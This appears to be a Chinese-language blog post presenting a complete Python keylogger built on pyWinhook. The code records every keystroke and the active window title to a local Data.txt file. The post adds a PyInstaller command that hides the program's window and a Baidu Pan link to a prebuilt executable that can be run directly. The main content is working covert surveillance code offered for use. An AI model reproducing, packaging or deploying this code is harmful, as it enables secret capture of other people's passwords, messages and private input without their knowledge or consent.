一个简单的python 键盘监听软件

我这里的pyHook3已经被我替换成了pyWinhook,因为我装pyHook3出了好多问题就懒得弄了

代码如下:

import pyWinhook
import pythoncom
import win32gui

# 获取窗口句柄
def getActiveWindow():
    hwnds = dict()
    hwnd = win32gui.GetForegroundWindow()
    hwnds.update({ "hwnd":hwnd, "title":win32gui.GetWindowText(hwnd)})
    return hwnds

# 监听键盘输入
def onKeyboardEvent(event):
    res =  getActiveWindow()
    title = res['title']
    # 将键盘输入内容和窗口标题写入Data文件
    with open('.\\Data.txt','a') as f:
        f.write(f'key:{event.Key}----title:{title}\n')
        return True

if __name__ == '__main__':
    hookmonitor = pyWinhook.HookManager()
    hookmonitor.KeyDown = onKeyboardEvent
    hookmonitor.HookKeyboard()
    pythoncom.PumpMessages() 

python 打包命令

Pyinstaller -F -w 文件名.py

 

 

下面是打包好的,隐藏了界面,监听的文件在会自动生成在exe同一文件夹,,如果不想使用了可以用任务管理器关闭,下载后可以直接使用,

链接:https://pan.baidu.com/s/16z8wfpCjbtGbZoIl9Ns6pQ?pwd=rcao 
提取码:rcao 
--来自百度网盘超级会员V3的分享

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值